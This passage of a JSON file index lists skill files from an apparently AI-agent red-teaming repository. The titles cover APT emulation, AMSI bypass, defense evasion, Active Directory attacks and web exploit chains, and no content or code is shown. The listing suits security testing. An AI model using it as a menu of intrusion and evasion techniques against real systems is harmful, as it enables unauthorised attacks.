GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt34-oilrig/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md","title":"apt36-transparent-tribe","category":"anthropic-skill","format":"markdown","content":"# apt36-transparent-tribe\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt36-transparent-tribe/SKILL.md)","tokens":300,"sizeBytes":323},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md","title":"apt37-reaper","category":"anthropic-skill","format":"markdown","content":"# apt37-reaper\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt37-reaper/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md","title":"apt41-double-dragon","category":"anthropic-skill","format":"markdown","content":"# apt41-double-dragon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/apt41-double-dragon/SKILL.md)","tokens":300,"sizeBytes":311},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md","title":"dark-caracal","category":"anthropic-skill","format":"markdown","content":"# dark-caracal\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/dark-caracal/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md","title":"fin7-carbanak","category":"anthropic-skill","format":"markdown","content":"# fin7-carbanak\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/fin7-carbanak/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md","title":"kimsuky","category":"anthropic-skill","format":"markdown","content":"# kimsuky\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/kimsuky/SKILL.md)","tokens":300,"sizeBytes":275},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md","title":"lazarus-group","category":"anthropic-skill","format":"markdown","content":"# lazarus-group\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/lazarus-group/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md","title":"muddywater","category":"anthropic-skill","format":"markdown","content":"# muddywater\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/muddywater/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md","title":"mustang-panda","category":"anthropic-skill","format":"markdown","content":"# mustang-panda\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/mustang-panda/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md","title":"patchwork","category":"anthropic-skill","format":"markdown","content":"# patchwork\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/patchwork/SKILL.md)","tokens":300,"sizeBytes":281},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md","title":"pink-sandstorm","category":"anthropic-skill","format":"markdown","content":"# pink-sandstorm\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/pink-sandstorm/SKILL.md)","tokens":300,"sizeBytes":296},{"name":"anyrun-free-iocs.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/anyrun-free-iocs.md)","tokens":300,"sizeBytes":312},{"name":"cve-apt-mapping.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/references/cve-apt-mapping.md)","tokens":300,"sizeBytes":310},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md","title":"salt-typhoon","category":"anthropic-skill","format":"markdown","content":"# salt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/salt-typhoon/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md","title":"sandworm-team","category":"anthropic-skill","format":"markdown","content":"# sandworm-team\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sandworm-team/SKILL.md)","tokens":300,"sizeBytes":293},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md","title":"scattered-spider","category":"anthropic-skill","format":"markdown","content":"# scattered-spider\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/scattered-spider/SKILL.md)","tokens":300,"sizeBytes":302},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md","title":"sidewinder","category":"anthropic-skill","format":"markdown","content":"# sidewinder\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/sidewinder/SKILL.md)","tokens":300,"sizeBytes":284},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md","title":"adversary-emulation","category":"anthropic-skill","format":"markdown","content":"# adversary-emulation\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/SKILL.md)","tokens":300,"sizeBytes":271},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md","title":"turla","category":"anthropic-skill","format":"markdown","content":"# turla\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/turla/SKILL.md)","tokens":300,"sizeBytes":269},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md","title":"volt-typhoon","category":"anthropic-skill","format":"markdown","content":"# volt-typhoon\n\nPath: `packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/adversary-emulation/volt-typhoon/SKILL.md)","tokens":300,"sizeBytes":290},{"name":"amsi-bypass-techniques.md","path":"packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/amsi-bypass-techniques.md)","tokens":300,"sizeBytes":316},{"name":"modern-evasion-techniques.md","path":"packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# References Skill\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/references/modern-evasion-techniques.md)","tokens":300,"sizeBytes":322},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md","title":"defense-evasion","category":"anthropic-skill","format":"markdown","content":"# defense-evasion\n\nPath: `packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/defense-evasion/SKILL.md)","tokens":300,"sizeBytes":259},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md","title":"finding-protocol","category":"anthropic-skill","format":"markdown","content":"# finding-protocol\n\nPath: `packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/finding-protocol/SKILL.md)","tokens":300,"sizeBytes":262},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/opsec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/opsec/SKILL.md","title":"opsec","category":"anthropic-skill","format":"markdown","content":"# opsec\n\nPath: `packages/decepticon/decepticon/skills/shared/opsec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/opsec/SKILL.md)","tokens":300,"sizeBytes":229},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/references/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/references/SKILL.md","title":"references","category":"anthropic-skill","format":"markdown","content":"# references\n\nPath: `packages/decepticon/decepticon/skills/shared/references/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/references/SKILL.md)","tokens":300,"sizeBytes":244},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md","title":"stealth-infra","category":"anthropic-skill","format":"markdown","content":"# stealth-infra\n\nPath: `packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/shared/stealth-infra/SKILL.md)","tokens":300,"sizeBytes":253},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md","title":"adcs-esc1","category":"anthropic-skill","format":"markdown","content":"# adcs-esc1\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md)","tokens":300,"sizeBytes":251},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md","title":"asrep-roasting","category":"anthropic-skill","format":"markdown","content":"# asrep-roasting\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/asrep-roasting/SKILL.md)","tokens":300,"sizeBytes":266},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md","title":"bloodhound-bhce","category":"anthropic-skill","format":"markdown","content":"# bloodhound-bhce\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-bhce/SKILL.md)","tokens":300,"sizeBytes":269},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md","title":"bloodhound-query","category":"anthropic-skill","format":"markdown","content":"# bloodhound-query\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/bloodhound-query/SKILL.md)","tokens":300,"sizeBytes":272},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md","title":"certipy-esc-chain","category":"anthropic-skill","format":"markdown","content":"# certipy-esc-chain\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/certipy-esc-chain/SKILL.md)","tokens":300,"sizeBytes":275},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md","title":"coercer","category":"anthropic-skill","format":"markdown","content":"# coercer\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/coercer/SKILL.md)","tokens":300,"sizeBytes":245},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md","title":"dcsync","category":"anthropic-skill","format":"markdown","content":"# dcsync\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/dcsync/SKILL.md)","tokens":300,"sizeBytes":242},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md","title":"kerberoasting","category":"anthropic-skill","format":"markdown","content":"# kerberoasting\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md)","tokens":300,"sizeBytes":263},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md","title":"laps","category":"anthropic-skill","format":"markdown","content":"# laps\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/laps/SKILL.md)","tokens":300,"sizeBytes":236},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md","title":"netexec","category":"anthropic-skill","format":"markdown","content":"# netexec\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md)","tokens":300,"sizeBytes":245},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md","title":"ntlm-relay","category":"anthropic-skill","format":"markdown","content":"# ntlm-relay\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/ntlm-relay/SKILL.md)","tokens":300,"sizeBytes":254},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/ad/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/SKILL.md","title":"ad","category":"anthropic-skill","format":"markdown","content":"# ad\n\nPath: `packages/decepticon/decepticon/skills/standard/ad/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/ad/SKILL.md)","tokens":300,"sizeBytes":224},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md","title":"adversarial-ml-evasion","category":"anthropic-skill","format":"markdown","content":"# adversarial-ml-evasion\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/adversarial-ml-evasion/SKILL.md)","tokens":300,"sizeBytes":300},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md","title":"auth-bypass","category":"anthropic-skill","format":"markdown","content":"# auth-bypass\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/auth-bypass/SKILL.md)","tokens":300,"sizeBytes":267},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md","title":"bounty-hunting","category":"anthropic-skill","format":"markdown","content":"# bounty-hunting\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/bounty-hunting/SKILL.md)","tokens":300,"sizeBytes":276},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md","title":"cred-reuse","category":"anthropic-skill","format":"markdown","content":"# cred-reuse\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/cred-reuse/SKILL.md)","tokens":300,"sizeBytes":278},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md","title":"idor-to-priv-esc","category":"anthropic-skill","format":"markdown","content":"# idor-to-priv-esc\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/idor-to-priv-esc/SKILL.md)","tokens":300,"sizeBytes":296},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md","title":"ssrf-to-rce","category":"anthropic-skill","format":"markdown","content":"# ssrf-to-rce\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md`\n\n[View Raw Content on GitHub](https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/ssrf-to-rce/SKILL.md)","tokens":300,"sizeBytes":281},{"name":"SKILL.md","path":"packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md","rawUrl":"https://raw.githubusercontent.com/PurpleAILAB/Decepticon/HEAD/packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md","title":"xss-to-takeover","category":"anthropic-skill","format":"markdown","content":"# xss-to-takeover\n\nPath: `packages/decepticon/decepticon/skills/standard/analyst/chains/xss-to-takeover/SKILL.md`\n\n[View Raw Content on 